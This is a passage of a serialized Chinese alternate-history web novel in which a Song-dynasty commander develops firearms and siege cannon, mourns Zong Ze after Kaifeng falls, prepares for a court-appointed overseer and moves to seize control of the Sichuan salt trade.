高尧康说:“我等不了十年。”
宇文虚说:“那五年。五年五万把。”
高尧康说:“三年。”
宇文虚愣了一下。
然后他笑了。笑得脸上的褶子都开了。
“行。三年。我拼了这条老命。”
三月二十。成都府。府衙。
高尧康在屋里看图纸。一张一张的,全是格物院送来的。有的画着零件,有的画着铳管,有的画着不知道什么东西,跟鬼画符似的。
杨蓁推门进来。带着一股风。
“格物院那边,又炸了。”
高尧康头也不抬。
“伤了几个?”
杨蓁说:“两个。轻伤。宇文虚说,是在试新**。配比没调好。”
高尧康点点头。继续看图纸。
杨蓁走过来。站在他旁边。看着那些图纸。眉头皱着。
“这些东西,我看不懂。跟天书似的。”
高尧康说:“我也看不太懂。但宇文虚懂就行。他说行就行。”
杨蓁说:“你就那么信他?”
高尧康抬起头。
“他跟我一路出来的。土门关打过仗。汴京守过城。一路上,**那么多人,他还活着。”
他看着杨蓁。
“不信他信谁?”
杨蓁没说话。
高尧康又低下头,看图纸。
杨蓁站在那儿。看他的侧脸。看了一会儿,忽然说:
“苏檀儿今天来找过我。”
高尧康抬起头。
“她找你干嘛?”
杨蓁说:“她说,她知道我吃醋。她说她没那个意思。她就是想把联号做好。把四路的买卖都攥在手里。”
高尧康看着她。
杨蓁说:“她还说,让我放心。你这个人,认准了一个人,就不会变。她说她看得出来。”
高尧康没说话。
杨蓁笑了。笑得挺轻的。
“她说得对。”
她转身往外走。
走到门口,忽然回头。
“尧康。”
“嗯。”
“我今天高兴。”
她走了。
门关上。
高尧康坐在那儿。看着那扇门。看了一会儿。低下头,继续看图纸。但嘴角动了一下。
三月二十五。军器总局。大校场。
高尧康站在台上。底下站着五百个人。
五百个人,排得整整齐齐。每人手里一把新铳。神机铳。铳管在太阳底下发亮,跟一排镜子似的。
宇文虚站在旁边。眼睛亮亮的,跟俩灯泡似的。
高尧康说:“试。”
宇文虚举起手。
五百个人,举起铳。
瞄准。扣动。
砰砰砰砰砰——
一连串脆响。跟放鞭炮似的。白烟腾起来,遮住了半边天。**味飘过来,有点呛。
烟散了。前头二百步外,五百块木板,穿了五百个洞。洞边上一圈黑。
高尧康看着那些洞。
看了很久。
然后他转过身,看着宇文虚。
“第一批,先给呼延通送过去。他在利州那边,离金兵最近。”
宇文虚说:“是。”
高尧康说:“第二批,给王彦。他在练兵,好东西先紧着他。”
宇文虚说:“是。”
高尧康说:“第三批,给王善。他在襄阳那边,跟刘豫顶着。他得有好东西。”
宇文虚说:“是。”
高尧康走下台。
杨蓁跟上来。
“这就行了?”
高尧康说:“行了。”
他走了几步,忽然停住。
“不对。”
杨蓁看着他。
高尧康说:“还差一样。”
“差什么?”
高尧康说:“炮。”
四月初一。格物院。宇文虚的屋子。
高尧康坐在他对面。桌上放着一张图。
图上画着一个大家伙。粗管子,厚壁,底下有轮子。管子比大腿还粗,轮子比人还高。
宇文虚看着那张图。看了很久。眼珠子都快掉进去了。
然后抬起头。
“高宣抚,这东西……太沉了。得几千斤。拉不动。”
高尧康说:“能造出来吗?”
宇文虚想了想。手指头在桌上敲了敲。
“能。
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但得试。得改。得花时间。铜的,铁的,都得试。试不好就炸,炸了就重来。”
高尧康说:“花多少?”
宇文虚说:“一年。两年。不好说。这东西,没人造过。得从头摸。”
高尧康点点头。
“那就花。要什么给什么。要铜给铜,要铁给铁,要人给人。”
宇文虚看着他。
“高宣抚,你就那么急着打回去?”
高尧康说:“急。”
他站起来。走到窗前。
窗外,天黑了。但工地上还亮着灯。人还在干活。锤子声叮叮当当的,跟敲钟似的。
“宗泽还在开封。他七十多了。不知道还能撑多久。他撑着,金兵就过不来。他倒下了,开封就没了。”
他看着窗外。
“那边的人,还在等。等咱们打回去。”
宇文虚没说话。
高尧康转过身。
“宇文师傅,你帮我。三年之内,我要能轰开金人城墙的东西。要那种一炮下去,墙就塌的。”
宇文虚站起来。
走到他面前。
“高宣抚。”
“嗯。”
“我宇文虚这辈子,跟过辽人,跟过金人,跟过逃难的队伍。那些人,都是把我当工具。用得着的时候哄着,用不着的时候扔着。”
他看着高尧康。眼睛里有东西在晃。
“只有跟你,觉得是在干正经事。是在给自己人干事。”
“你让我造,我就造。造到死为止。”
四月初五。蜀南。雷振来信了。
信不长。字写得歪歪扭扭的,但能看清。
信里说,硝石矿找到了。很大。够用几十年。挖开一看,白花花的,跟雪似的。硫磺矿也找到了。离得不远。也在山里。
信最后说:
“高宣抚,咱们以后不用看别人脸色了。**这东西,自己就能造。金人想卡都卡不着。”
高尧康把信放下。
杨蓁在旁边。
“成了?”
高尧康说:“成了。”
杨蓁笑了。
高尧康站起来。走到窗前。
窗外,太阳出来了。照在那些新盖的房子上。照在工地上那些干活的人身上。
他转过头,看着杨蓁。
“咱们去格物院看看。”
杨蓁说:“好。”
两个人往外走。
走到门口,忽然有人跑进来。
是陈东。跑得气喘吁吁的,脸都红了。
“高宣抚,襄阳那边有消息。”
高尧康站住。
陈东递过来一封信。信封上带着泥点子。
高尧康拆开。看。
信是王善写的。很短。字写得跟狗爬似的,但能看清。
“高宣抚,第一批货收到了。兄弟们高兴坏了。说从没见过这么好的东西。比金人的强多了。刘豫那边最近在调兵。不知道要干嘛。我会盯着。有消息再报。”
底下还有一行小字。写得特别小。
“听说你那边在造新玩意儿?造好了给我留点。别光自己使。”
高尧康看完。把信折起来。
收进怀里。
杨蓁看着他。
“怎么了?”
高尧康说:“没怎么。”
他往外走。
“走。去格物院。”
第一百零六章 拥兵自重
建炎二年四月十八。临安。行在。
外头下着雨。不大。淅淅沥沥的,跟老天爷在那儿掉眼泪似的。殿里有点潮,木头味儿混着霉味儿,闻着就让人不舒服。
赵构坐在御座上,听黄潜善说话。手指头在扶手上一下一下地敲。没出声,但自己在数。
黄潜善站着。五十来岁,瘦,脸长,眼睛小。说话的时候,眼睛眯成一条缝,跟算计什么东西似的。
“官家,川陕那边,高尧康的动静越来越大了。”
赵构没说话。手指头继续敲。
黄潜善往前走了一步。声音压低了一点,跟说秘密似的。
“他自任宣抚使,整合四路。设了什么格物院、军器总局。还搞了个大宋联号,垄断盐铁茶马。四路的富商,全被他拉进去了。有钱的捧钱场,没钱的捧人场。”
他从袖子里掏出一张纸。纸叠得整整齐齐,双手捧着递上去。
“这是臣让人查的。他那边现在有兵多少?六万。六万精兵。**、神机**、震天雷,全是他自己造的。比朝廷的兵还强。朝廷的兵还在用刀枪,他那边已经用上火铳了。”
赵构接过那张纸。看了看。脸上没什么表情。
黄潜善又往前走了一步。离御座更近了。
“官家,这个**力太大了。川陕四路,天高皇帝远。他要是……臣不敢说,但得防着。得找个人制衡他。不然……”
他没说下去。但那个“不然”拖着长音,跟钓鱼似的。
赵构抬起头。看着他。
“你想让谁去?”
黄潜善说:“张浚。张德远。”
赵构沉默了一会儿。
张浚。他知道这个人。敢说话,不怕得罪人。上次参了黄潜善一本,说他把持朝政。黄潜善气得半死,但拿他没办法。
“他能行?”
黄潜善说:“能行。此人刚直,有谋略。让他去川陕,名以上是宣抚处置副使,实际上是盯着高尧康。他一双眼睛,比别人十双都管用。”
赵构想了想。
“高尧康那边,有李纲支持。还有张叔夜。还有宗泽。动他……”
黄潜善说:“不是动他。是看着。是让他知道,朝廷有人在那边。他做事,得掂量。再说,张浚跟李纲也不对付,他去正好。”
赵构又沉默了一会儿。
外头的雨还在下。淅淅沥沥的,打在瓦上,啪嗒啪嗒的。
他忽然说:“高尧康上个月送来的东西,你看了吗?”
黄潜善愣了一下。
“东西?”
赵构说:“五十匹蜀锦。一百斤好茶。还有一万两银子。说是给朝廷的贡品。说是感谢朝廷信任,他一定守好川陕,等官家回去。”
黄潜善的脸僵了一下。嘴角抽了抽。
赵构看着他。
“他要是真想反,送这些干嘛?真想反的人,恨不得朝廷把他忘了。他倒好,一个月一封信,三个月一批东西。比那些在京城的官员还勤快。”
黄潜善说:“官家,这是……这是收买人心。他想让朝廷放松警惕。这是以退为进。臣在官场三十年,这种人见多了。”
赵构没说话。
过了一会儿,他挥挥手。
“张浚的事,你先拟旨吧。让他去了之后,多看,少说。先摸清楚情况。”
黄潜善弯腰。腰弯得很深。
“是。臣这就去办。”
他退出去。退得很小心,跟怕踩着什么东西似的。
赵构一个人坐在那儿。看着殿外的雨。雨丝密密的,把天都遮灰了。
四月二十二。夔州。府衙。
高尧康看着张叔夜的信。信放在桌上,他看了三遍。
信写得不长。但字字都重。张叔夜的字,力透纸背,跟刻上去似的。
“临安有变。左相黄潜善进言,以你权大,需人制衡。官家已准。不日将遣张浚入蜀,名为宣抚副使,实则监察。汝当谨慎。切切。切记。”
高尧康把信放下。手指头在信纸上按了按。
杨蓁在旁边。看他脸色不对。
“张浚?谁?”
高尧康说:“一个官。敢说话。当年在汴京,参过蔡京。后来参过黄潜善。谁有权参谁。”
杨蓁说:“来干嘛?”
高尧康说:“盯着咱们。”
杨蓁愣了一下。
然后她的手按在刀柄上。指节有点发白。
“我让他盯不成。来一个杀一个,来两个杀一双。”
高尧康看了她一眼。
“别动刀。那是朝廷命官。”
杨蓁说:“那怎么办?就让他盯着?”
高尧康站起来。走到窗前。
窗外,太阳很好。院子里有人在走。忙忙碌碌的。有人搬东西,有人说话,有人笑。
他忽然说:“苏檀儿呢?”
杨蓁说:“在账房。算账呢,算得头都不抬。”
高尧康说:“叫她来。”
苏檀儿来得快。手里还拿着账本,毛笔夹在耳朵上。
“怎么了?正算到一半呢。”
高尧康说:“临安那边,要来人盯着咱们。”
苏檀儿愣了一下。
然后她笑了。笑得挺坏的。
“就这事?”
高尧康看着她。
苏檀儿说:“来人就来人呗。咱们有什么怕人看的?”
她走到桌前。把账本放下。啪的一声。
“格物院在造东西。军器总局在生产。联号在做买卖。哪一样是见不得人的?咱们又没**,又没**,又没欺压百姓。来就来呗。”
高尧康没说话。
苏檀儿说:“再说了,来人也是官。官就要吃饭,要花钱,要应酬。让他吃,让他花,让他应酬。吃惯了,花惯了,应酬惯了,他还盯什么?天天盯着咱们,他腰包不盯着?”
杨蓁在旁边听着。忽然笑了。
“苏檀儿,你真是个奸商。一肚子坏水。”
苏檀儿说:“谢谢。坏水也是水,能浇地。”
高尧康看着她们两个。
一个按刀,一个拿账本。一个要**,一个要花钱。
忽然也笑了。
“那就准备准备。等人来了,好好接待。让他吃好喝好玩好。走的时候,再送点土特产。”
四月二十八。开封。
宗泽躺在床上。已经起不来了。
屋里围着一圈人。儿子。部下。亲兵。都在哭。有的抹眼泪,有的抽鼻子,有的跪在地上。
宗泽睁开眼睛。看着他们。眼睛浑浊了,但还有光。
“哭什么?”
没人说话。
宗泽说:“北伐无望,我死而已。你们哭什么?我**,北伐就能成?”
他喘了几口气。胸口起伏着。喉咙里有痰,呼噜呼噜的。
“我死后,开封守不住。你们……你们想办法走。往南走。去找……”
他顿了顿。眼睛看着房顶。房顶上有根梁,黑漆漆的。
“去找高尧康。”
有人愣住了。
“高宣抚?他在蜀地,那么远……”
宗泽说:“对。蜀地。他能打仗。他会收留你们。他那边……在搞新东西。**,火炮。他行。”
他看着那些人。一个一个看过去。
“告诉他……告诉他……老夫……尽力了……剩下的……看他的了……”
眼睛闭上了。
屋里哭声一片。有人喊“宗留守”,有人喊“爹”,有人只是哭。
那天晚上,开封城里乱起来。
有人跑。有人抢。有人投降。有人在街上打架。有人趁火**。
伪齐的兵,三天后进了城。
刘豫没来。派了个大将。叫李成。以前是宋江那伙的,后来投降了。
李成骑着马,从南门进去。看着那座破败的城池。看着那些空荡荡的街道。看着那些躲在门后头偷看的老百姓。
他笑了笑。
“好地方。以后,这儿就是大齐的京城了。比大名府强。”
五月初五。夔州。府衙。
消息传来的时候,高尧康正在看地图。图上画着川陕的山山水水,标着一个个红点。
陈东跑进来。跑得太急,差点在门槛上绊一跤。脸色发白,跟纸似的。
“高宣抚……开封……开封丢了。”
高尧康抬起头。
“宗留守呢?”
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陈东低下头。不敢看他。
“宗留守……没了。说是四月二十八走的。走了之后,城里就乱了。伪齐的人三天就进去了。”
高尧康愣住了。
杨蓁在旁边。也愣住了。
屋里静了很久。静得能听见外头的鸟叫。
高尧康站起来。走到窗前。
窗外,太阳很好。院子里有人在走。什么都不知道。还在笑,还在说话。
他站在那儿。一动不动。
杨蓁走过去。站在他旁边。
他没说话。她也没说话。
站了很久。
高尧康忽然开口。声音有点哑。
“设灵堂。”
杨蓁看着他。
高尧康说:“重庆府。设灵堂。祭宗留守。四路最大的地方,最显眼的地方。”
他转过身。
“派人去四路。通知所有官员。愿意来的,来。不愿意来的,不勉强。告诉他们,宗留守走了。大宋的一根柱子,断了。”
陈东说:“是。”
他跑出去了。跑得比进来还快。
高尧康又站了一会儿。
然后他往外走。
杨蓁跟上去。
“你去哪儿?”
高尧康说:“后院。一个人待会儿。别跟着。”
五月初八。重庆府。灵堂。
白幡挂起来。一片一片的,风一吹就飘。香烛点起来,烟气往上冒。正中摆着宗泽的牌位。木头牌子,刻着字。
来的人不少。
成都府的郑转运使来了。潼川府的新知州来了。利州路那边,也来了好几个。还有各州的官员,当地的士绅,军中的将领。站了一院子。
高尧康站在灵前。穿着素服,白的。脸上没表情。但眼睛里有东西。
呼延通从利州赶回来了。浑身是土,跟泥猴似的。站在他旁边。腰挺得直直的。
王彦也来了。站在后头。手按在刀上。
陈东带着太学生们,在旁边帮着招呼客人。端茶,递水,引路。
苏檀儿带着联号的人,在张罗茶水。一壶一壶的,一碗一碗的。
杨蓁站在角落里。看着高尧康。没说话。
赵福金也来了。带着两个妹妹。站在另一边。穿着素净的衣裳,脸上没脂粉。
祭拜开始。
郑转运使先上香。走上去,拿起香,拜了三拜。**香炉里。退回来。然后是各州官员。然后是军中将领。然后是士绅。
一个一个。走上去,拜,退回来。
轮到赵福金的时候,她走上前。拿起香。拜了三拜。拜得很慢,很认真。
**香炉里。
她站在那儿。看着那块牌位。看了很久。
然后她退回去。
高尧康看着她。
她脸上没什么表情。但眼睛红了。红得厉害。
祭拜结束。客人散去。院子空下来。
高尧康还站在灵前。跟钉在那儿似的。
杨蓁走过去。
“该歇歇了。站一天了。”
高尧康说:“再站一会儿。”
杨蓁没再说话。站在他旁边。
赵福金走过来。脚步轻轻的。
“高宣抚。”
高尧康看着她。
赵福金说:“宗留守,我见过。”
高尧康愣了一下。
赵福金说:“汴京那年。他来宫里。跟我爹说话。我躲在帘子后头偷听。”
她顿了顿。眼睛看着那块牌位。
“他跟我爹说,金人必来,要早做准备。我爹不听。他说,朝中有人主和,但主和救不了大宋。我爹还是不听。我爹那时候,只想跟金人讲和。”
她看着那块牌位。
“他走的时候,我看见他的背影。腰挺得很直。从大殿走出去,一直走到门口,都没弯一下。”
高尧康没说话。
赵福金说:“这样的人,**。大宋还有几个?”
她转身走了。
杨蓁看着那个背影。走得很快,裙角都飘起来了。
“她今天不对劲。”
高尧康说:“嗯。”
他看着那块牌位。看了很久。
然后他说:“宗留守,走好。剩下的,我来。”
第一百零七章 我可怜她
那天晚上。府衙后院。
高尧康在书房里坐着。对着灯。没看文书。就是坐着。灯芯噼啪响了一下,他也没动。
门忽然被推开。没敲。
赵福金站在门口。
她穿着寻常的衣裳。青灰色的,不起眼。头发有点乱,散下来几缕。脸有点红。
酒气。挺冲的。
她喝了酒。
高尧康站起来。
“公主?”
赵福金走进来。走到他面前。脚步有点晃,但走得很直。
看着他。
眼睛红红的。肿了。
“高尧康。”
没叫高宣抚。叫名字。
高尧康看着她。
“你喝酒了?”
赵福金点点头。点得有点用力,身子跟着晃了一下。
“喝了。喝了很多。在屋里一个人喝的。”
她忽然笑了。笑得很苦。嘴角扯着,但眼睛没笑。
“你知道我今天为什么喝酒吗?”
高尧康没说话。
赵福金说:“因为我那个王兄。赵构。他知道我们三姐妹在这儿。他知道。郑大人写信告诉他的。”
她往前走了一步。很近。能闻到她身上的酒气,还有眼泪的咸味。
“他不来接我们。他连封信都不写。一句话都没有。”
眼泪流下来。顺着脸往下淌。
“他是皇帝。我是他妹妹。他不管我。”
她指着外头。手指头抖着。
“汴京破的时候,我差点被金兵抓住。那些人的手,差点就碰到我了。是你救的我。是你带我跑出来。一路跑到这儿。翻山,钻林子,躲着金兵走。”
她哭起来。哭得浑身发抖。肩膀一抽一抽的。
“他凭什么?金军追,他跑。金军不追了,他不跑,也不管我们。他在临安享福,我们在蜀地逃难。”
她捂着嘴。想忍住哭。忍不住。
高尧康站在那儿。不知道该怎么办。手抬起来,又放下。
赵福金忽然扑过来。抱住他。
抱着他。哭。脸埋在他胸口。眼泪湿了他的衣裳。滚烫的。
高尧康的手抬起来。想推开她。又停住了。
她哭了很久。哭得没力气了。身子往下滑。
高尧康扶住她。把她扶到椅子上。
她已经睡着了。脸上还有泪。睫毛湿着。嘴里嘟囔了一句什么,听不清。
高尧康站在那儿。看着她。
看了一会儿。
他走出去。叫来两个侍女。低声说:“送公主回去。好好照顾。别惊着她。”
侍女扶起赵福金。走了。
高尧康站在院子里。看着月亮。
月亮很亮。圆圆的。照得院子里跟白天似的。
杨蓁从暗处走出来。不知道站了多久。
站在他旁边。
“她找你干嘛?”
高尧康说:“哭了。”
杨蓁说:“就哭了?”
高尧康说:“嗯。就哭了。”
杨蓁没说话。
两个人站着。看着月亮。
过了一会儿,杨蓁忽然说:
“她喜欢你。”
高尧康说:“我知道。”
杨蓁说:“你怎么想?”
高尧康说:“我有你了。”
杨蓁转过头,看着他。
他脸上没什么表情。但眼睛很认真。月光底下,亮亮的。
她笑了。
“行。”
她伸手,握住他的手。手有点凉。
两个人站着。月亮照着。影子拉得老长。
五月初十。重庆府。城西。
一座新院子。门口挂着块匾。木头新崭崭的,字是新刻的。
“军医院”。
林素娥站在门口,等着高尧康。
她穿着青布衣裳,洗得干干净净的。头发挽得整整齐齐,一根碎发都没有。脸上干干净净的。眼睛亮亮的,跟两盏灯似的。
高尧康走过来。杨蓁跟在旁边。
林素娥行礼。很规矩。
“高宣抚。杨娘子。”
高尧康点点头。
“林娘子,辛苦了。这儿弄得不错。”
林素娥笑了一下。笑得很淡。
“不辛苦。进去看看?”
他们走进去。
院子里头,一排平房。收拾得干干净净的。地上连根草都没有。有的屋里住着伤兵,有的屋里放着药材,有的屋里……
林素娥指着最里头那间。
“那是学堂。教人学医的。有空就来,没空就不来,不强求。”
高尧康走过去看。
屋里坐着二十几个年轻女人。大的二十出头,小的十五六。都低着头,在写字。毛笔握着,一笔一画的。有的写得歪歪扭扭的,跟狗爬似的,但很认真。眉头皱着,舌头伸着。
前头站着个老大夫。头发白了,正在讲什么。声音不大,但屋里听得见。
林素娥在旁边说:“都是从流民里招的。没饭吃,没地方去。我教她们认字,教她们换药,教她们怎么照顾伤兵。老大夫教她们看脉,认药材,开方子。”
她顿了顿。
“学得好的,以后留在医院。学得一般的,也能去各营帮着照顾伤兵。总比在外头漂着强。”
高尧康看着那些女人。
一个女孩抬起头。看见他,愣了一下。赶紧低下头。脸红了。
高尧康说:“她们愿意学?”
林素娥说:“愿意。学成了,有饭吃。有地方住。受人尊敬。不用看人脸色,不用被人欺负。”
她看着那些女孩。眼睛里有点东西。
“比在外头漂着强。比被人卖来卖去强。”
他们走到伤兵住的地方。
屋里躺着二十几个人。有的缺胳膊,有的断腿,有的身上缠满布条。但屋里很干净。没异味。窗户开着,通风。
一个伤兵看见高尧康,要起来。
高尧康按住他。手压在他肩膀上。
“躺着。别动。”
那伤兵躺着。眼睛红了。眼眶里转着泪。
“高宣抚……林娘子救了我的命。要不是她,我早**。伤口烂了,她天天给我换药,换了半个月。”
林素娥在旁边说:“别瞎说。是你自己命大。换药谁不会。”
那伤兵笑了。笑着笑着,眼泪流下来。
高尧康看着她。
她在跟伤兵说话。脸上带着笑。很温和。但眼睛很认真。看伤口的时候,像看一件很重要的事。眉头皱着,但手很轻。
他忽然想起宇文虚说过的一句话。
“干什么事的人,身上都有股劲儿。做木匠的有木匠的劲儿,打铁的有打铁的劲儿。一眼就能看出来。”
林素娥身上也有。
从医院出来。杨蓁忽然说:
“林娘子是个好人。”
高尧康说:“嗯。”
杨蓁说:“她一个人,能管这么多事。不容易。又要管伤兵,又要教学徒,又要跟药商打交道。”
高尧康说:“嗯。”
杨蓁看着他。
“你怎么不多夸几句?”
高尧康说:“夸什么?”
杨蓁说:“夸她厉害。夸她能干。夸她把医院办得好。”
高尧康说:“她知道。不用我夸。她心里有数。”
杨蓁笑了。
“你这个人,真是……”
她没说完。但笑着。笑得挺甜的。
五月十五。重庆府。府衙。
苏檀儿进来。手里拿着一封信。信封上带着火漆。
“临安那边,张叔夜的信。”
高尧康接过来。拆开。看。
信里说,张浚已经出发了。带着一百多人,走水路入蜀。船队挺大,带着家眷和行李。大概两个月后到。让高尧康做好准备。别让人挑出错来。
信最后说:
“黄潜善此人,心胸狭隘。他针对你,不单是你权大,更因你与李纲亲近。小心此人。他在官家耳边,天天念叨你。”
高尧康把信放下。
苏檀儿说:“怎么办?”
高尧康说:“按你说的办。”
苏檀儿愣了一下。
高尧康说:“让他吃。让他花。让他应酬。让他玩高兴。”
他看着苏檀儿。
“你那边,准备好了吗?”
苏檀儿笑了。笑得跟狐狸似的。
“早就准备好了。宅子,厨子,丫鬟,小厮,都备着呢。他来了,想住哪儿住哪儿,想吃什么吃什么,想见谁见谁。只要他高兴,什么都行。”
高尧康点点头。
苏檀儿走了。走得很快,裙角都飘起来了。
杨蓁从后头出来。
“你真放心让她去办?”
高尧康说:“放心。”
杨蓁说:“
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万一那个张浚不吃这套呢?万一他是个清官呢?”
高尧康说:“那就再说。”
他看着窗外。
窗外,太阳很好。明晃晃的。
“来都来了。总有办法。”
五月二十。格物院。
宇文虚跑来找高尧康。跑得气喘吁吁,脸都红了。满头是汗。
“高宣抚,成了!”
高尧康看着他。
宇文虚说:“攻城炮!第一门!成了!”
高尧康站起来。
“走。”
试验场。
一门大炮摆在那儿。粗管子,厚壁,底下有轮子。看着就沉。炮管黑黢黢的,泛着光。
宇文虚指着那门炮。手都在抖。
“试了三回。前两回炸了。崩死俩羊。这回没炸。响了,没炸。”
高尧康说:“能打多远?”
宇文虚说:“二百丈。能打穿这么厚的墙。”
他比划了一下。一人多厚。手臂张得很开。
高尧康走过去。摸着那门炮。铁管还有点烫。手放上去,能感觉到余温。
“能用吗?”
宇文虚说:“能用。就是太沉。得八匹马才拉得动。还得是好马。还得是平路。山路够呛。”
高尧康说:“那就用八匹马。平路走不了,走水路。船拉。”
他看着那门炮。看了很久。
然后他转过身,看着宇文虚。
“造。越多越好。要多少料给多少料,要多少人给多少人。”
宇文虚说:“是。”
那天晚上。高尧康回到府衙。
杨蓁在等他。屋里点着灯。
“格物院那边成了?”
高尧康说:“成了。”
杨蓁笑了。
“那你该高兴。”
高尧康说:“高兴。”
他坐下来。坐在椅子上。没动。
杨蓁看着他。
“那你怎么还绷着脸?跟谁欠你钱似的。”
高尧康沉默了一会儿。
然后他说:“今天赵福金又来找我了。”
杨蓁愣了一下。
“找你干嘛?又哭了?”
高尧康说:“没哭。她说,她想去临安。”
杨蓁说:“去临安?干嘛?”
高尧康说:“想当面问她那个王兄,为什么不管她。想问他,还记不记得她这个妹妹。”
杨蓁说:“你让她去了?”
高尧康摇摇头。
“没让。现在路上不安全。金兵还在江北没撤走。伪齐的人也在活动。一路上乱得很。她去了,出事怎么办?”
杨蓁点点头。
“那她怎么说?”
高尧康说:“没说话。就走了。站了一会儿,转身就走。”
杨蓁看着他。
“你担心她?”
高尧康说:“嗯。”
杨蓁沉默了一会儿。
然后她说:“高尧康。”
“嗯。”
“你对她,真的只是担心?”
高尧康看着她。
杨蓁也看着他。眼睛一眨不眨。
两个人对望着。屋里很静。灯芯噼啪响了一声。
过了一会儿,高尧康说:
“我不知道。”
杨蓁愣了一下。
高尧康说:“她是公主。她经历过那些事。她亲眼看着汴京破城,亲眼看着那些事发生。她不像那些娇滴滴的公主。她能扛事。能吃苦。能……”
他没说下去。
杨蓁说:“能什么?”
高尧康说:“能让人心疼。”
杨蓁沉默了很久。
屋里静得能听见外头的风声。
然后她忽然笑了。笑得很轻。
“行。有你这句话,就够了。”
高尧康看着她。
杨蓁说:“她可怜。我知道。你喜欢她一点,我也知道。”
她走过来。站在他面前。很近。
“但你也喜欢我。对不对?”
高尧康说:“对。”
杨蓁笑了。笑得眼睛弯弯的。
“那就行了。”
她伸手,在他脸上摸了摸。手有点凉。
“我去睡了。你也早点睡。别想太多。”
她走了。
门关上。
高尧康坐在那儿。看着那扇门。
看了很久。
窗外,月亮很亮。照得院子里跟白天似的。
但他心里有事。看不进去。
第一百零八章 整顿盐务
建炎二年六月。夔州。府衙。
高尧康坐在案前,看账本。看了半个时辰,眉头越皱越紧,跟被人捏了一把似的。
他抬起头。
“这盐的账,不对。”
苏檀儿站在旁边,手里还拿着另一本账。闻言走过来,探头看。
“哪里不对?”
高尧康指着其中一页。手指头点在上头,咚咚响。
“富顺监。年产盐多少?账上写的是三十万斤。卖出去多少?也是三十万斤。收上来的税呢?只有这么点。”
他敲了敲那个数字。纸都快被他敲破了。
“一斤盐卖多少钱?三十文。三十万斤,就是九百万文。税呢?三万文。百分之零点三。这是收税还是打发叫花子?”
苏檀儿看了看。没说话。
高尧康说:“其他的盐呢?去哪儿了?”
苏檀儿沉默了一会儿。
然后她说:“高宣抚,川盐的事,我一直想跟你说。一直没找着机会。”
高尧康看着她。
苏檀儿说:“川盐这块,水太深了。深得能淹**。官营的盐井,十个有八个在亏,亏得底掉。私营的盐井,十个有十个在**,逃得理直气壮。还有盐枭……”
她顿了顿。看了他一眼。
“盐枭贩私盐,一贩就是几万斤。拿着刀,带着人,从山里走。官军追不上,也不敢追。”
高尧康说:“为什么不敢追?”
苏檀儿说:“因为那些盐枭,跟当地的官有来往。有的官就是盐枭的后台。有的官干脆就是盐枭本人。追什么?追自己?”
高尧康没说话。
他把账本合上。啪的一声。
站起来。走到窗前。
窗外,太阳很好。街上有人在走。卖菜的,挑担的,牵着孩子的。热热闹闹的,什么都不知道。
“川盐一年的产量,到底有多少?”
苏檀儿说:“没人知道。官面上报的,不到两百万斤。但实际……”
她顿了顿。
“可能翻一倍都不止。四百万斤打底。”
高尧康转过身。
“那些盐,都去哪儿了?”
苏檀儿说:“一部分私卖。在咱们地盘上卖,不交税。一部分往南走,去大理,去吐蕃,换马,换皮子。一部分往东走,去荆湖,换粮食,换布匹。还有一部分……”
她看着高尧康。眼睛没躲。
“往北走。去伪齐。去金国。”
屋里静了。
静得能听见外头的蝉叫。吱——吱——叫得人心烦。
杨蓁在旁边,手按在刀柄上。指节有点发白。
“卖盐给金人?”
苏檀儿说:“不一定直接卖。但盐这东西,转几道手,就到那边了。盐商卖给盐枭,盐枭卖给二道贩子,二道贩子偷运过界。等到了金人手里,价钱翻十倍。”
高尧康站在那儿。没动。看着窗外。
过了很久,他开口。
“从今天起,盐归咱们管。”
苏檀儿愣了一下。
“怎么管?”
高尧康说:“成立盐务总局。统一收购。统一定价。统一销售。所有的盐,只能卖给我们。所有的盐,只能从我们手里出去。”
他看着苏檀儿。
“你当总办。盐务的事,你说了算。”
苏檀儿张了张嘴。眼睛瞪圆了。
“我?”
高尧康说:“你懂买卖。你管得住。那些弯弯绕,你比谁都清楚。”
苏檀儿沉默了一会儿。
然后她说:“高宣抚,这事……会**的。不是开玩笑。”
高尧康说:“我知道。”
苏檀儿说:“那些盐枭,手底下几百号人。那些官,背后有人。你动他们的饭碗,他们会拼命。真拼命。”
高尧康说:“那就拼。”
他走到门口。回头。
“王彦。”
王彦从外头进来。跟一阵风似的。
“在。”
高尧康说:“从今天起,你跟着苏檀儿。盐务的事,她要人给人,要兵给兵。她说打谁,你就打谁。她说不打,你就别动。”
王彦抱拳。干脆利落。
“是。”
苏檀儿站在那儿。看着高尧康。
看了一会儿。
然后她笑了。笑得有点无奈,又有点高兴。
“行。**。反正早晚得死,早死晚死都一样。”
六月十五。富顺监。
盐务总局的第一站。
苏檀儿带着人,到了富顺监最大的盐井。姓吴的盐商开的。吴家三代熬盐,富得流油,宅子盖得跟皇宫似的。
吴老板亲自迎出来。五十来岁,胖,笑眯眯的,跟弥勒佛似的。穿着绸衫,手里摇着扇子。
“苏娘子大驾光临,有失远迎,有失远迎。早听说苏娘子要来,我这儿天天盼着呢。”
苏檀儿下了马。看着他。没笑。
“吴老板,盐务总局的事,你知道了吧?”
吴老板点头如捣蒜。脑袋晃得跟拨浪鼓似的。
“知道知道。苏娘子来收盐,这是好事。咱们以后有靠山了。不用再跟那些乱七八糟的人打交道。”
苏檀儿说:“那咱们谈谈价钱。”
吴老板说:“好说好说。里边请。备了茶,上好的蒙顶。”
进了屋。茶上了。门关了。
苏檀儿报了个价。
吴老板的笑容僵了一下。脸上的肉抽了抽。
“苏娘子,这价钱……是不是低了点?外头私盐的价钱,比这高一半呢。高一半啊。”
苏檀儿说:“私盐的价钱,以后没了。”
吴老板说:“这……这……苏娘子,咱们这盐井,一年出盐二十万斤。按这个价,我连本都回不来。一家老小喝西北风去?”
苏檀儿看着他。眼睛眯着。
“吴老板,你一年出盐多少?”
吴老板说:“二十万斤。账上都有的。清清楚楚。”
苏檀儿从袖子里掏出张纸。展开。放在桌上。
“我这边查到的,你去年出的盐,是四十万斤。”
吴老板的笑容彻底没了。脸上的肉僵着。
苏檀儿说:“多出来的二十万斤,去哪儿了?”
吴老板不说话。嘴抿着。
苏檀儿站起来。
“吴老板,你好好想想。想好了,明天来找我。”
她走了。
吴老板坐在那儿。看着那张纸。手在抖。
那天晚上。吴老板家的后门,溜出去几个人。骑着快马,消失在黑夜里。
六月二十。荣州。
苏檀儿刚到,就出事了。
一队人马从山里冲出来。一百多人。
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拿着刀,扛着枪。把客栈围得水泄不通。
领头的是个黑脸大汉。骑在马上,横着刀,喊:
“苏檀儿!滚出来!”
苏檀儿站在客栈门口。看着那些人。脸上没什么表情。
王彦从后头上来。站在她旁边。手按在刀上。
